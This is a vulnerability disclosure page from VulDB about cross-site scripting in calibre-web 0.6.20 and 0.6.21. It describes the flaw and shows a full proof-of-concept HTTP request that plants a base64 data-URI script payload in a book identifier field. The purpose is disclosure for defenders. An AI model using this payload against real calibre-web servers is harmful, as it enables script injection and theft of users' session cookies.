Submit #600759: janeczku calibre-web 0.6.20, 0.6.21 Beta Cross Site Scripting

The XSS (Cross-Site Scripting) vulnerability found in the Caliber-Web application allows an attacker to inject malicious JavaScript code into a href via a data wrapper, containing a base64-encoded payload. This vulnerability specifically occurs in a book's Tag editing functionality.

By exploiting this vulnerability, the attacker could bypass the application's security filter that prevents the execution of JavaScript codes via href. In this way, he can insert malicious code into a link, which will be automatically executed when a user clicks on it, without him noticing.

With this security hole, the attacker can gain access to sensitive user information, such as authentication cookies, passwords and other personal information. Furthermore, it can redirect the user to malicious websites that aim to collect personal information or install malware on the user's device.

Video: https://youtu.be/z4y5zoleoow

Request:

POST /admin/book/1 HTTP/1.1
Host: IP:8083
Cookie: remember_token=1|2a16c7d574eaacc5b8fced5cc625ab1e133d8d0ff4d1c1550adf30f4b7914d078852e2feeb35cea7f50dfd235d3252b050642fad7407d1641838e3e2c1be1bfb; session=.eJwljrtuwzAMAP9FcwdRIkUzP2PwiQQFWsBOpqL_Hhcd73DD_bS9jjzv7fY8XvnR9ke0WwumJKtO5VkhKZzoG7BCFkV2Ru1TTJVJp7HadmU2kecqGambJor2Mp3kC8vCehfQTbRiIW0dx4jUXAvABBim46ApicspqF0jrzOP_xu40M-j9uf3Z379CSAk98CO6msy2byI3JKgOGSs4gTo7fcNB65A8Q.ZEQhfQ.C71C3b3GsXhtgG2XSS3mUQW9sqw
Content-Length: 1701
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzJRXvOfGFuu3OBF6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="csrf_token"

IjExNTQ1Y2NkNDA0YWM2Mzc1YjNjY2Q1Y2JlNTFmN2Q5MjZmN2UxMTAi.ZEQhyw.Z9WwI-oM-459VNszwOxfed0Aizw
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="book_title"

Test
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="author_name"

Test
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="description"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="identifier-type-sasasaas"

click here
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="identifier-val-sasasaas"

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="tags"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="series"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="series_index"

1.0
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="rating"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="pubdate"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="publisher"

------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="languages"

Russian
------WebKitFormBoundaryzJRXvOfGFuu3OBF6
Content-Disposition: form-data; name="detail_view"

on
------WebKitFormBoundaryzJRXvOfGFuu3OBF6--

• Source: ⚠️ https://huntr.com/bounties/7a62b1bf-b959-4344-b78a-3b683a7c6d38
• User: mrempy (UID 24379)
• Submission: 06/19/2025 18:28 (1 Year ago)
• Moderation: 06/22/2025 08:39 (3 days later)
• Status: Duplicate
• VulDB entry: 271975 [janeczku Calibre-Web up to 0.6.21 edit_book_comments cross site scripting]
• Points: 0